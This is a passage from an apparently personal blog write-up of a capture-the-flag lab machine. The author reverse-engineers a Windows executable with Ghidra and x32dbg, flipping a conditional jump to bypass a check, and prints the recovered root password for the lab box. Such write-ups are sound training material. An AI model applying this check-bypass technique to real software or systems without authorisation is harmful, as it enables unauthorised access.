src="https://cdn-images-1.medium.com/max/620/1*fFFOVw2NhFjuqp9oqgJWRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*f3twL9VS-OuGlROZmGHktQ.png" /></figure><p>let’s gooooooooo <br>we have the password…….</p><p>I was trying ssh-ss….. for a long time and then I tried the code directly and to my surprise it worked …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*nvwYuBShvMALj4FQ2j5nhA.gif" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*zJ96xH7E6sFZFkwh95A6Sg.png" /></figure><p>WE FINALLY HAVE the USER flag….</p><p>Let’s go for the root flag</p><p>We already know about the Remote connection.exe in the clave directory… Let transfer it to our PC and have a look at it……</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*K2WtNqlsYlPnlw70QMzm_w.png" /></figure><p>Since this is not working lets try scp as ssh is enable on the box so it should not be a problem.</p><p>ok so after scp jut open ghidra and import the exe file …… and let it analyse it and if not</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nt3Bt1G7ngB3ZvCmaoDmvQ.png" /></figure><p>Go to analyse and hit auto analyse or you can hit A as well it might work the same way……</p><p>after analysis is complete.. go to window and select defined strings…</p><p>While going through all that i saw GET USERNAME but there we no reference to it so,….. we move to something more interersting which is clave…. afte going to rreference and opening decompile we see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MeUCdSBbny2usHr-1qawKA.png" /></figure><p>In order to find the value of the passsowrd we have to use the debugger this took a lot of time to find a good GUI debugger in LINUX</p><p>but in the end i had to look for a windows option as it was becoming tough to debug through linux and then i downloaded x32dbg.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KGpqs4uJ3-Lu6zeIKymB0Q.png" /></figure><p>First i navigated to the string references through this …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kxZDRmpNSpQ74akNNclZ9A.png" /></figure><p>And then I put a breakpoint at the shell execute to check what is happening at that place… and also I change the JNE of clave to JE to make it jump with coming ZF value…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gO75jEWEbskdrlK5QDmDxw.png" /></figure><p>And just like that we have the root flag popping up in the stack, we can directly use this in ssh login and then fetch the root.txt.</p><p>“Qf7]8YSV.wDNF*[7d?j&amp;eD4^”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*egR3Rw0CUnJ4xNXeULAm_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*Xh6f-6GKd4ns8IZiFPWUxA.png" /></figure><p>Finally it is DONE and Conquered !!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*FBnJrevk251P7jaSVlDEbw.gif" /></figure><p>My review:</p><p>the foothold of this room was fairly easy but to get the root flag i had to break a sweat as reverse engineering is fairly new for me but GHIDRA and debugger clutched the scenario… Great learning experience I had while solving this machine..</p><p>Looking forward to more Reverse Engineering Machines ….. in future</p><h3>Join me on various platforms to discuss Cybersecurity and Cloud-related topics. From security best practices to cloud infrastructure, let’s exchange ideas and insights and stay ahead of the curve..</h3><h3><a href="https://linktr.ee/RishabhRai">CONNECT WITH ME </a>🔗💻</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=734db493579b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>